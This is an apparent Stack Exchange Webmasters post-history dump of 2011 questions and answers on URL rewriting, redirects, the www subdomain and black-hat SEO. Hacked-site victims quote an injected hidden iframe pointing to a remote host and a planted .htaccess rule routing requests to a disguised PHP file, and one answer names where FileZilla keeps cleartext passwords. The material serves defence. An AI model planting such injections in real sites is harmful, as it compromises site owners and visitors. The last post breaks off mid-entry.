  <row Id="33831" PostHistoryTypeId="17" PostId="14442" RevisionGUID="e9ca6271-4b2b-4626-8510-b7c2bbbe5e1d" CreationDate="2011-05-26T18:16:02.883" UserId="-1" Comment="from http://stackoverflow.com/questions/6142417/rewriterule-was-matching-before-migration-but-now-browser-gets-a-404-error" Text="" />
  <row Id="33832" PostHistoryTypeId="2" PostId="14442" RevisionGUID="4bd1ab15-d285-4742-baa5-9f3e31de2bc0" CreationDate="2011-05-26T17:15:05.443" UserDisplayName="Danzan" Text="Try prefixing the redirect path with a leading slash:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^home$ /home.php [L]" />
  <row Id="33833" PostHistoryTypeId="2" PostId="14441" RevisionGUID="2097edff-f47e-4611-999c-b60b9b8777f6" CreationDate="2011-05-26T17:12:21.763" UserDisplayName="Aegidius" Text="I have this URL rewrite rule in my .htaccess&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^home$ home.php&#xD;&#xA;&#xD;&#xA;but when I try to reach awatag.com/home I get a 404 error.&#xD;&#xA;&#xD;&#xA;This rule worked perfectly before moving the domain to GoDaddy." />
  <row Id="33834" PostHistoryTypeId="1" PostId="14441" RevisionGUID="2097edff-f47e-4611-999c-b60b9b8777f6" CreationDate="2011-05-26T17:12:21.763" UserDisplayName="Aegidius" Text="RewriteRule was matching before migration, but now browser gets a 404 error." />
  <row Id="33835" PostHistoryTypeId="3" PostId="14441" RevisionGUID="2097edff-f47e-4611-999c-b60b9b8777f6" CreationDate="2011-05-26T17:12:21.763" UserDisplayName="Aegidius" Text="&lt;php&gt;&lt;apache&gt;&lt;url-rewriting&gt;" />
  <row Id="33836" PostHistoryTypeId="2" PostId="14443" RevisionGUID="c52c5448-e94f-47a3-ab8e-c77add0853fb" CreationDate="2011-05-26T18:20:40.150" UserId="7731" Text="Check your old apache config against your new apache config.  It might be something as simple as not having mod_rewrite configured on your new server." />
  <row Id="33838" PostHistoryTypeId="2" PostId="14445" RevisionGUID="91479ff6-4f2b-4706-92ef-d7247fe1392d" CreationDate="2011-05-26T19:24:20.257" UserId="7835" Text="One of our competitors recently rocketed up the search rankings. A little investigation revealed it to be a clear-cut case of black hat SEO link farming. I submitted what I believe was a clear and comprehensive report to Google via Webmaster Tools a couple of weeks ago, but haven't seen any results yet. &#xD;&#xA;&#xD;&#xA;How long should I wait before starting to worry that the matter may have fallen through the cracks? Should I resubmit the report?" />
  <row Id="33839" PostHistoryTypeId="1" PostId="14445" RevisionGUID="91479ff6-4f2b-4706-92ef-d7247fe1392d" CreationDate="2011-05-26T19:24:20.257" UserId="7835" Text="How long does Google normally take to act on black hat SEO?" />
  <row Id="33840" PostHistoryTypeId="3" PostId="14445" RevisionGUID="91479ff6-4f2b-4706-92ef-d7247fe1392d" CreationDate="2011-05-26T19:24:20.257" UserId="7835" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;blackhat&gt;" />
  <row Id="33841" PostHistoryTypeId="17" PostId="14446" RevisionGUID="740e4a8a-410d-4318-b8b9-980e33d8af08" CreationDate="2011-05-26T19:31:32.327" UserId="-1" Comment="from http://stackoverflow.com/questions/6116106/url-rewrite-procedure" Text="" />
  <row Id="33842" PostHistoryTypeId="17" PostId="14447" RevisionGUID="0253ce95-6d49-47c3-91fa-84505baacf4e" CreationDate="2011-05-26T19:31:32.327" UserId="-1" Comment="from http://stackoverflow.com/questions/6116106/url-rewrite-procedure" Text="" />
  <row Id="33843" PostHistoryTypeId="17" PostId="14448" RevisionGUID="ef4f771b-77fc-477d-8a5c-033deb31e88e" CreationDate="2011-05-26T19:31:32.327" UserId="-1" Comment="from http://stackoverflow.com/questions/6116106/url-rewrite-procedure" Text="" />
  <row Id="33844" PostHistoryTypeId="17" PostId="14449" RevisionGUID="122d747f-8338-4148-9832-9a0ff01ec6e7" CreationDate="2011-05-26T19:31:32.327" UserId="-1" Comment="from http://stackoverflow.com/questions/6116106/url-rewrite-procedure" Text="" />
  <row Id="33845" PostHistoryTypeId="2" PostId="14447" RevisionGUID="04fa01c4-8509-45d9-8040-5aba57280a80" CreationDate="2011-05-24T20:01:50.100" UserDisplayName="WEFX" Text="Are you using MVC?  If so, you can configure this behavior in the global.asax file." />
  <row Id="33846" PostHistoryTypeId="2" PostId="14448" RevisionGUID="ffe034ce-b223-4654-9199-20ef37de6a82" CreationDate="2011-05-24T20:04:51.467" UserId="978" Text="The [IIS URL Rewrite][1] tool makes this really easy. They have an [example][2] that is almost identical to the rule you would need to create. &#xD;&#xA;&#xD;&#xA;Here is how you might do it.  The way you requested makes it tricky because it would try to route every request, so this one will match every url that is like www.abcd.com/properties/hy2345 but you could easily match the hy2345 with a custom regex depending on your id naming business logic. &#xD;&#xA;&#xD;&#xA;    &lt;rewrite&gt;&#xD;&#xA;      &lt;rules&gt;&#xD;&#xA;        &lt;rule name=&quot;Rewrite to article.aspx&quot;&gt;&#xD;&#xA;          &lt;match url=&quot;^properties/([_0-9a-z-]+)/&quot; /&gt;&#xD;&#xA;          &lt;action type=&quot;Rewrite&quot; url=&quot;propertydetails.aspx?id={R:1}&amp;amp;title={R:2}&quot; /&gt;&#xD;&#xA;        &lt;/rule&gt;&#xD;&#xA;      &lt;/rules&gt;&#xD;&#xA;    &lt;/rewrite&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/download/urlrewrite&#xD;&#xA;  [2]: http://learn.iis.net/page.aspx/461/creating-rewrite-rules-for-the-url-rewrite-module/" />
  <row Id="33847" PostHistoryTypeId="2" PostId="14449" RevisionGUID="6f6236c9-6631-40ce-851b-2956771be848" CreationDate="2011-05-24T20:34:56.550" UserId="978" Text="For IIS6, this is a bit trickier.  [ScottGu][1] has a post with your options (see section entitled Approach 4). Another option is looking at [UrlRewriter.net][2] or [Ionics Isapi Rewrite Filter][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx&#xD;&#xA;  [2]: https://github.com/sethyates/urlrewriter&#xD;&#xA;  [3]: http://iirf.codeplex.com/" />
  <row Id="33848" PostHistoryTypeId="2" PostId="14446" RevisionGUID="b8251b2e-4038-4340-b6c3-1207dee1f60c" CreationDate="2011-05-24T19:56:46.500" UserDisplayName="user742558" Text="I have site name like http://www.abcd.com and in the site i have propertydetails page.&#xD;&#xA;So now i want to display in url  http://www.abcd.com/hy2345 instead of  http://www.abcd.com?propertydetails.aspx?id=hy2345&#xD;&#xA;&#xD;&#xA;Here another problem is if the user will enter directly  http://www.abcd.com/hy2345 so automatically redirect to propertydetails page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="33849" PostHistoryTypeId="1" PostId="14446" RevisionGUID="b8251b2e-4038-4340-b6c3-1207dee1f60c" CreationDate="2011-05-24T19:56:46.500" UserDisplayName="user742558" Text="URL rewrite procedure" />
  <row Id="33850" PostHistoryTypeId="3" PostId="14446" RevisionGUID="b8251b2e-4038-4340-b6c3-1207dee1f60c" CreationDate="2011-05-24T19:56:46.500" UserDisplayName="user742558" Text="&lt;c#&gt;&lt;asp.net&gt;" />
  <row Id="33851" PostHistoryTypeId="2" PostId="14450" RevisionGUID="3c43e4ec-d4f0-41a6-be66-24012be6895a" CreationDate="2011-05-26T19:32:08.630" UserId="1253" Text="Don't resubmit the report. That won't accomplish anything. &#xD;&#xA;&#xD;&#xA;Google won't necessarily punish the offending site directly. They have expressed a preference for using reports like yours for identifying tricks and techniques (patterns) and updating their spam fighting algorithms to automatically handle this. This allows them to improve the whole system instead of just micro-managing one website. Other websites who do this will then also get caught in that net thus improving the search results as a whole.&#xD;&#xA;&#xD;&#xA;In cases like [JC Penney][1] and [BMW][2] explicitly targeting one website for punishment was beneficial as it brought attention to black hat SEO and the big punishments that potentially await users who sink that low. But they are the exceptions rather then the rule.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://abcnews.go.com/Technology/gaming-google-jc-penney-accused-breaking-rules-show/story?id=12911723&#xD;&#xA;  [2]: http://blogoscoped.com/archive/2006-02-04-n60.html" />
  <row Id="33852" PostHistoryTypeId="5" PostId="14450" RevisionGUID="bd75a402-41ec-465a-a381-5b247683daf3" CreationDate="2011-05-26T19:38:04.820" UserId="1253" Comment="added 303 characters in body" Text="Don't resubmit the report. That won't accomplish anything. &#xD;&#xA;&#xD;&#xA;Google won't necessarily punish the offending site directly. They have expressed a preference for using reports like yours for identifying tricks and techniques (patterns) and updating their spam fighting algorithms to automatically handle this. This allows them to improve the whole system instead of just micro-managing one website. Other websites who do this will then also get caught in that net thus improving the search results as a whole.&#xD;&#xA;&#xD;&#xA;Additionally, unless they can positively identify the linking sites as belonging to the same owner or otherwise being a linking scheme, they can run the risk of penalizing an innocent site. What's more likely to happen is the value of links on those sites may be questioned and potentially devalued.&#xD;&#xA;&#xD;&#xA;In cases like [JC Penney][1] and [BMW][2] explicitly targeting one website for punishment was beneficial as it brought attention to black hat SEO and the big punishments that potentially await users who sink that low. But they are the exceptions rather then the rule.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://abcnews.go.com/Technology/gaming-google-jc-penney-accused-breaking-rules-show/story?id=12911723&#xD;&#xA;  [2]: http://blogoscoped.com/archive/2006-02-04-n60.html" />
  <row Id="33853" PostHistoryTypeId="2" PostId="14451" RevisionGUID="9a344912-56e1-4868-82b1-1844527fa8b5" CreationDate="2011-05-26T20:11:09.483" UserId="6069" Text="I run a small community web site where users can each get a free blog. The blog address is always something like http://mydomain.com/blogname  &#xD;&#xA;&#xD;&#xA;One user have bought his own domain and want to redirect it to his blog. I've managed to setup a 302 redirect but then when he types http//hisdomain.com in the browser he ends up at http://mydomain.com/blogname&#xD;&#xA;&#xD;&#xA;He really wants hisdomain.com to still be there. Any idea on how I can set it up so that&#xD;&#xA;http://hisdomain.com/blogname is shown instead?&#xD;&#xA;&#xD;&#xA;Environment:&#xD;&#xA;Ubuntu server 10.04&#xD;&#xA;Apache2&#xD;&#xA;Wordpress multi site" />
  <row Id="33854" PostHistoryTypeId="1" PostId="14451" RevisionGUID="9a344912-56e1-4868-82b1-1844527fa8b5" CreationDate="2011-05-26T20:11:09.483" UserId="6069" Text="How to setup apache2 redirect but keep domain name?" />
  <row Id="33855" PostHistoryTypeId="3" PostId="14451" RevisionGUID="9a344912-56e1-4868-82b1-1844527fa8b5" CreationDate="2011-05-26T20:11:09.483" UserId="6069" Text="&lt;redirects&gt;&lt;apache2&gt;" />
  <row Id="33856" PostHistoryTypeId="2" PostId="14452" RevisionGUID="547e551a-a789-418d-8e1a-2225068ba709" CreationDate="2011-05-26T20:30:22.750" UserId="7405" Text="It is possible that this [WordPress plugin][1] might help.  This question might need to go to the [WordPress Answers][2] site.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&#xD;&#xA;  [2]: http://wordpress.stackexchange.com/" />
  <row Id="33857" PostHistoryTypeId="2" PostId="14453" RevisionGUID="71f9fde5-428c-4e0b-81d2-31a9fdf659bb" CreationDate="2011-05-26T20:32:43.040" UserId="42" Text="&lt;b&gt;EDIT: this method requires the .aspx extension&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;I recently did this and it was suprisingly very easy to do.&#xD;&#xA;&#xD;&#xA;In my App_Data folder I have a xml file like the folowing:&#xD;&#xA;&#xD;&#xA;    &lt;urlrewrites&gt; &#xD;&#xA;      &lt;rewrite url=&quot;/foo.aspx&quot; to=&quot;~/MenuPage.aspx?CategoryId=1&quot; /&gt;&#xD;&#xA;      &lt;rewrite url=&quot;/bar.aspx&quot; to=&quot;~/MenuPage.aspx?CategoryId=5&quot; /&gt;&#xD;&#xA;    &lt;/urlrewrites&gt;&#xD;&#xA;&#xD;&#xA;And in my global.asax this quick routine:&#xD;&#xA;&#xD;&#xA;    void Application_Beginrequest(object sender, EventArgs e)&#xD;&#xA;            {&#xD;&#xA;                string ext = System.IO.Path.GetExtension(Context.Request.Path);&#xD;&#xA;                if (ext != &quot;.aspx&quot;)&#xD;&#xA;                {&#xD;&#xA;                    return;&#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                string root = Request.Url.GetLeftPart(UriPartial.Authority);&#xD;&#xA;                string fullOriginalPath = Request.Url.ToString();&#xD;&#xA;                string relativePath = fullOriginalPath.Replace(root, &quot;&quot;);&#xD;&#xA;    &#xD;&#xA;                System.Xml.XmlDocument objXML = new System.Xml.XmlDocument();&#xD;&#xA;                objXML.Load(Server.MapPath(&quot;~/App_Data/URLRewrites.xml&quot;));&#xD;&#xA;    &#xD;&#xA;                foreach (System.Xml.XmlNode node in objXML.DocumentElement.ChildNodes)&#xD;&#xA;                {&#xD;&#xA;                    if (node.Name.ToLower() == &quot;rewrite&quot;)&#xD;&#xA;                    {&#xD;&#xA;                        string url = node.Attributes.GetNamedItem(&quot;url&quot;).Value.ToString();&#xD;&#xA;                        if (relativePath.ToLower() == url.ToLower())&#xD;&#xA;                        {&#xD;&#xA;                            string to = node.Attributes.GetNamedItem(&quot;to&quot;).Value.ToString();&#xD;&#xA;                            Context.RewritePath(to);&#xD;&#xA;                            break;&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;If your page is handling postbacks you will need to implement the form browser yadda from &lt;a href=&quot;http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx&quot;&gt;here&lt;/a&gt; as a post back will expose the unwritten url." />
  <row Id="33858" PostHistoryTypeId="17" PostId="14454" RevisionGUID="1cd9dda7-b523-44cd-90fa-32b4f013b081" CreationDate="2011-05-26T20:33:11.637" UserId="-1" Comment="from http://stackoverflow.com/questions/6144629/hacker-crawler-inserting-iframe-into-ftp-file" Text="" />
  <row Id="33859" PostHistoryTypeId="2" PostId="14454" RevisionGUID="7d7bdf78-4765-481e-ae78-d6274cb4aa4e" CreationDate="2011-05-26T20:26:26.003" UserDisplayName="Michael" Text="Somehow, a &quot;hacker crawler&quot; is constantly inserting a harmful iframe-line into one of my files:&#xD;&#xA;&#xD;&#xA;&lt;iframe src=&quot;http://miaspieces.vv.cc/showthread.php?t=70830633&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;It's done automatically, and not by a person, I assume. &#xD;&#xA;I've changed all my passwords several times as well as the CHMOD of the file, so I assume this is somehow done on my site.&#xD;&#xA;&#xD;&#xA;Any ideas how the crawler does this and how I can prevent it?" />
  <row Id="33860" PostHistoryTypeId="1" PostId="14454" RevisionGUID="7d7bdf78-4765-481e-ae78-d6274cb4aa4e" CreationDate="2011-05-26T20:26:26.003" UserDisplayName="Michael" Text="Hacker Crawler inserting iframe into ftp file" />
  <row Id="33861" PostHistoryTypeId="3" PostId="14454" RevisionGUID="7d7bdf78-4765-481e-ae78-d6274cb4aa4e" CreationDate="2011-05-26T20:26:26.003" UserDisplayName="Michael" Text="&lt;php&gt;&lt;hacking&gt;" />
  <row Id="33862" PostHistoryTypeId="12" PostId="14453" RevisionGUID="2a1f6376-24db-45cb-9544-ca8468292a10" CreationDate="2011-05-26T20:33:52.807" UserId="42" Text="[{&quot;Id&quot;:42,&quot;DisplayName&quot;:&quot;Jim&quot;}]" />
  <row Id="33863" PostHistoryTypeId="13" PostId="14453" RevisionGUID="8e8ad965-c7f3-42f0-85d8-16818f4026bf" CreationDate="2011-05-26T20:34:09.267" UserId="42" Text="[{&quot;Id&quot;:42,&quot;DisplayName&quot;:&quot;Jim&quot;}]" />
  <row Id="33864" PostHistoryTypeId="2" PostId="14455" RevisionGUID="0a20dc0a-7f9c-4cb1-9e55-66913ac23138" CreationDate="2011-05-26T20:36:07.210" UserId="7841" Text="Hmm... It's hard to say without seeing the page, and the code the drives it. I don't have any experience with that CMS, but, from what I can tell, it looks like it is being inserted into, then pulled out of a database, not a modification via FTP. If that is the case, I would:&#xD;&#xA;&#xD;&#xA; 1. change your database password&#xD;&#xA; 2. point the CMS to the same database, with the new password&#xD;&#xA; 3. remove the iFrame, and see if the problem persists, with the new password&#xD;&#xA;&#xD;&#xA;Usually things like this are a matter of trial and error." />
  <row Id="33865" PostHistoryTypeId="2" PostId="14456" RevisionGUID="a5fa41aa-a508-4cb3-b578-5c69665b57ca" CreationDate="2011-05-26T20:39:14.660" UserId="7843" Text="Are you or someone who have access to this environment using Filezilla as FTP client?&#xD;&#xA;&#xD;&#xA;If so, be aware that this program saves the clear password in INI files, and it's used by trojans to infect websites...&#xD;&#xA;&#xD;&#xA;Path (Windows 7)&#xD;&#xA;&gt; C:\Users\[USER]\AppData\Roaming\Filezilla&#xD;&#xA;&#xD;&#xA;Files&#xD;&#xA;&gt;bookmarks.xml&#xD;&#xA;&#xD;&#xA;&gt;recentservers.xml" />
  <row Id="33866" PostHistoryTypeId="5" PostId="14453" RevisionGUID="5841e44e-8f7d-4f04-a5c6-1a8d792708f2" CreationDate="2011-05-26T20:45:08.113" UserId="42" Comment="added 14 characters in body" Text="&lt;b&gt;EDIT: this method requires the .aspx extension&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;I recently did this and it was suprisingly very easy to do.&#xD;&#xA;&#xD;&#xA;In my App_Data folder I have a xml file like the folowing:&#xD;&#xA;&#xD;&#xA;    &lt;urlrewrites&gt; &#xD;&#xA;      &lt;rewrite url=&quot;/hy2345.aspx&quot; to=&quot;~/propertydetails.aspx?id=hy2345&quot; /&gt;&#xD;&#xA;      &lt;rewrite url=&quot;/hy2346.aspx&quot; to=&quot;~/propertydetails.aspx?id=hy2346&quot; /&gt;&#xD;&#xA;    &lt;/urlrewrites&gt;&#xD;&#xA;&#xD;&#xA;And in my global.asax this quick routine:&#xD;&#xA;&#xD;&#xA;    void Application_Beginrequest(object sender, EventArgs e)&#xD;&#xA;            {&#xD;&#xA;                string ext = System.IO.Path.GetExtension(Context.Request.Path);&#xD;&#xA;                if (ext != &quot;.aspx&quot;)&#xD;&#xA;                {&#xD;&#xA;                    return;&#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                string root = Request.Url.GetLeftPart(UriPartial.Authority);&#xD;&#xA;                string fullOriginalPath = Request.Url.ToString();&#xD;&#xA;                string relativePath = fullOriginalPath.Replace(root, &quot;&quot;);&#xD;&#xA;    &#xD;&#xA;                System.Xml.XmlDocument objXML = new System.Xml.XmlDocument();&#xD;&#xA;                objXML.Load(Server.MapPath(&quot;~/App_Data/URLRewrites.xml&quot;));&#xD;&#xA;    &#xD;&#xA;                foreach (System.Xml.XmlNode node in objXML.DocumentElement.ChildNodes)&#xD;&#xA;                {&#xD;&#xA;                    if (node.Name.ToLower() == &quot;rewrite&quot;)&#xD;&#xA;                    {&#xD;&#xA;                        string url = node.Attributes.GetNamedItem(&quot;url&quot;).Value.ToString();&#xD;&#xA;                        if (relativePath.ToLower() == url.ToLower())&#xD;&#xA;                        {&#xD;&#xA;                            string to = node.Attributes.GetNamedItem(&quot;to&quot;).Value.ToString();&#xD;&#xA;                            Context.RewritePath(to);&#xD;&#xA;                            break;&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;If your page is handling postbacks you will need to implement the form browser yadda from &lt;a href=&quot;http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx&quot;&gt;here&lt;/a&gt; as a post back will expose the unwritten url." />
  <row Id="33867" PostHistoryTypeId="25" PostId="14445" RevisionGUID="cfc83991-9915-47af-981f-58f6a5ee4648" CreationDate="2011-05-26T21:13:01.977" Comment="http://twitter.com/#!/StackWebmasters/status/73859205219614720" />
  <row Id="33869" PostHistoryTypeId="17" PostId="14457" RevisionGUID="945537ab-2d20-4886-a9b0-fb6b151ce8ea" CreationDate="2011-05-26T22:12:40.050" UserId="-1" Comment="from http://stackoverflow.com/questions/6119885/what-does-www-do" Text="" />
  <row Id="33870" PostHistoryTypeId="17" PostId="14458" RevisionGUID="27f11143-2649-4b0a-8333-bcba560bd77e" CreationDate="2011-05-26T22:12:40.050" UserId="-1" Comment="from http://stackoverflow.com/questions/6119885/what-does-www-do" Text="" />
  <row Id="33871" PostHistoryTypeId="17" PostId="14459" RevisionGUID="86dbb0b2-6180-46ec-b5b8-9d5a85dabdbb" CreationDate="2011-05-26T22:12:40.050" UserId="-1" Comment="from http://stackoverflow.com/questions/6119885/what-does-www-do" Text="" />
  <row Id="33872" PostHistoryTypeId="17" PostId="14460" RevisionGUID="2020567c-60b6-41b0-9466-7e78829e1cad" CreationDate="2011-05-26T22:12:40.050" UserId="-1" Comment="from http://stackoverflow.com/questions/6119885/what-does-www-do" Text="" />
  <row Id="33873" PostHistoryTypeId="2" PostId="14458" RevisionGUID="2f79a12f-0528-47be-9a90-fdec7fb183fa" CreationDate="2011-05-25T05:34:15.207" UserDisplayName="John Leidegren" Text="WWW is an acornmyn for the [World Wide Web][1], it also happens to be a common subdomain employed by people to designate that the domain is hosting a web site.&#xD;&#xA;&#xD;&#xA;&gt; The use of a subdomain name is useful&#xD;&#xA;&gt; for load balancing incoming web&#xD;&#xA;&gt; traffic by creating a CNAME record&#xD;&#xA;&gt; that points to a cluster of web&#xD;&#xA;&gt; servers. Since, currently, only a&#xD;&#xA;&gt; subdomain can be cname'ed the same&#xD;&#xA;&gt; result cannot be achieved by using the&#xD;&#xA;&gt; bare domain root.&#xD;&#xA;&#xD;&#xA;In most cases I believe the `www.` subdomain is omitted and it doesn't really matter if you type the one or the other. However, given what the web looks like today and seeing as how HTTP and the web is really ubiquitous, I would never mandate the inclusion of `www.` in the domain name and if you look a web sites today you'll notice that sites such as facebook and google prepend `www.`, even if you don't type it.&#xD;&#xA;&#xD;&#xA;Why it works even when you type other things has to do the way your DNS is setup for that domain. There are ways to handle [wildcards][2] and forward all traffic regardsless of subdomain to the same web server. But it's up to the web server to respond to each individual host header in some manner and this is entierly configurable (and obviously you need to check what the configuration is to answer the question in full).&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/World_Wide_Web&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Wildcard_DNS_record" />
  <row Id="33874" PostHistoryTypeId="2" PostId="14459" RevisionGUID="81754f84-44b0-49b9-82a0-e67239e12d37" CreationDate="2011-05-25T05:47:03.883" UserDisplayName="c-smile" Text="If they are trying to use exactly this &quot;url&quot;: `http:\example.com\PAGE.XXX` then nothing will help them.&#xD;&#xA;&#xD;&#xA;As of `www` suffixes in www.example.com ...&#xD;&#xA;&#xD;&#xA;Historically 'www' as 'ftp', 'pop3', etc. were names of machines running corresponding services inside 'example.com' domain. And actually this schema is still used in many companies.  " />
  <row Id="33875" PostHistoryTypeId="2" PostId="14460" RevisionGUID="e783b4a6-2bd8-4c37-b27a-9cf57c2db39a" CreationDate="2011-05-25T06:00:20.427" UserDisplayName="Chris Diver" Text="`www` is a subdomain of `example.com`. &#xD;&#xA;&#xD;&#xA;You can configure DNS to have multiple sub domains which resolve to different web servers and hence give you a different site. &#xD;&#xA;&#xD;&#xA;`example.com` (no subdomain)&#xD;&#xA;&#xD;&#xA;`site2.example.com`&#xD;&#xA;&#xD;&#xA;`site3.example.com`&#xD;&#xA;&#xD;&#xA;It sounds like whoever set up the network, set `example.com` to resolve to the internal web server, on the networks DNS server, this is accessible only to hosts on the internal network. So anyone who browses to `example.com` inside the network see's a different website to those externally, as they use a different DNS server to resolve `example.com`. It may have been better to give this its own sub domain. e.g `internal.example.com` &#xD;&#xA;&#xD;&#xA;A user inside the network browses to `www.example.com` hits a link and is taken to `example.com` which is fine externally, but internally they resolve to different web servers, which is why you have been asked to change the links. &#xD;&#xA;&#xD;&#xA;If the content on the internal server is the same as the external, then you could end up with the reverse problem. When browsing the internal site, any hyperlink takes you to the external site. &#xD;&#xA;&#xD;&#xA;If possible you might find it better to use relative URLs in your hyperlinks. e.g. &#xD;&#xA;&#xD;&#xA;Instead of `&lt;a href=&quot;http://example.com/index.htm&quot;&gt;Index Page&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;You would use `&lt;a href=&quot;/index.htm&quot;&gt;Index Page&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;The browser would then choose `http://www.example.com` or `http://example.com` depending on the site that you browsed to. &#xD;&#xA;&#xD;&#xA;Why the `wwww` works could possibly be [Wildcard DNS][1] entry, which means *.example.com resolves to the same IP, effectively a catch all for sub domains that don't exist. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Wildcard_DNS_record" />
  <row Id="33876" PostHistoryTypeId="2" PostId="14457" RevisionGUID="66742658-782e-4a98-bbda-e0d5e61b53e0" CreationDate="2011-05-25T05:23:48.970" UserId="6585" Text="To be clear: I am not asking whether or not I should use `www` in my url, or what the pros and cons are, that topic is well covered. I also wasn't sure if this was a Stack Overflow, Server Fault, or Webmaster's question - migration to a more appropriate channel is quite welcome.&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;**Background**: I was recently asked to convert a site's urls to all use `www`, as in `http://example.com` to `http://www.example.com`. The reason for the request is over my head. I present an excerpt from the email:&#xD;&#xA;&#xD;&#xA;&gt;Got an issue,&#xD;&#xA;&gt;&#xD;&#xA;&gt;Apparently whenever the site was originally setup with their network (prior&#xD;&#xA;&gt;to me), the installers chose to use the internal domain as 'example.com' ...&#xD;&#xA;&gt;not good ...&#xD;&#xA;&gt;&#xD;&#xA;&gt;This is a problem trying to resolve externally .... I looked at a few&#xD;&#xA;&gt;qweb page source coding and saw many links are coded as&#xD;&#xA;&gt;'http:\\example.com\PAGE.XXX' ...&#xD;&#xA;&gt;&#xD;&#xA;&gt;Can it possibly globally be changed from 'http:\\example.com' to 'http:\\www.example.com'&#xD;&#xA;&gt;&#xD;&#xA;&gt;I can resolve www, but once I hit a link it thinks the server is the&#xD;&#xA;&gt;internal EXAMPLE which houses the domain 'example.com' ...&#xD;&#xA;&gt;&#xD;&#xA;&#xD;&#xA;Something to do with the client not being able to access the website on their own network. As I mentioned, I don't quite understand it.&#xD;&#xA;&#xD;&#xA;So, I implemented the change, but while testing, I accidentally typed in an extra `w`, and to my surprise - the site still worked.&#xD;&#xA;&#xD;&#xA;Then I tried several `w`'s, then two, then I typed in some nonsense and the site still worked.&#xD;&#xA;&#xD;&#xA;**EDIT**: To be more accurate, only alpha, numeric, dash, and underscore characters will resolve, anything else returns a *Server not found* error in the browser.&#xD;&#xA;&#xD;&#xA;I just tested this on Stack Overflow and got redirected when I used `www`, while everything else returned a *&quot;Server not found&quot;* error.&#xD;&#xA;&#xD;&#xA;Does anyone have any insight into what the point of this email request is, and why the accidents and experiments I mentioned worked?&#xD;&#xA;&#xD;&#xA;I can certainly provide more information, I'm just not sure what would be relevant." />
  <row Id="33877" PostHistoryTypeId="1" PostId="14457" RevisionGUID="66742658-782e-4a98-bbda-e0d5e61b53e0" CreationDate="2011-05-25T05:23:48.970" UserId="6585" Text="What does WWW do?" />
  <row Id="33878" PostHistoryTypeId="3" PostId="14457" RevisionGUID="66742658-782e-4a98-bbda-e0d5e61b53e0" CreationDate="2011-05-25T05:23:48.970" UserId="6585" Text="&lt;http&gt;&lt;url&gt;&lt;web&gt;&lt;server&gt;" />
  <row Id="33879" PostHistoryTypeId="2" PostId="14461" RevisionGUID="5d894eb1-0b1b-4884-8586-a6235a542896" CreationDate="2011-05-26T22:17:18.237" UserId="7844" Text="I have recently been the victim of this **[hacking exploit][1]** (blog post is for reference only and is *not* my site. I'm in the process of following it and cleaning up after the attack). &#xD;&#xA;&#xD;&#xA;Note the exploit at the top of my `.htaccess` file;&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule myq-(.*).htm$ wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*&#xD;&#xA;        &#xD;&#xA;    &lt;Limit GET POST&gt;&#xD;&#xA;    order deny,allow&#xD;&#xA;    deny from all&#xD;&#xA;    allow from all&#xD;&#xA;    &lt;/Limit&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;Limit PUT DELETE&gt;&#xD;&#xA;    order deny,allow&#xD;&#xA;    deny from all&#xD;&#xA;    &lt;/Limit&gt;&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    # END WordPress&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;So the exploit has had the effect of producing **hundreds of spam links** in Google, but under my domain name. Some examples; &#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    Printable coloring pages of a caterpillar mysite.com&#xD;&#xA;    mysite.com/myq-zjjcq.htm&#xD;&#xA;        &#xD;&#xA;    Coloured lettering cut out mysite.com&#xD;&#xA;    mysite.com/myq-viki-60693.htm&#xD;&#xA;        &#xD;&#xA;    Printable leopard coloring page mysite.com&#xD;&#xA;    mysite.com/myq-96.htm&#xD;&#xA;        &#xD;&#xA;    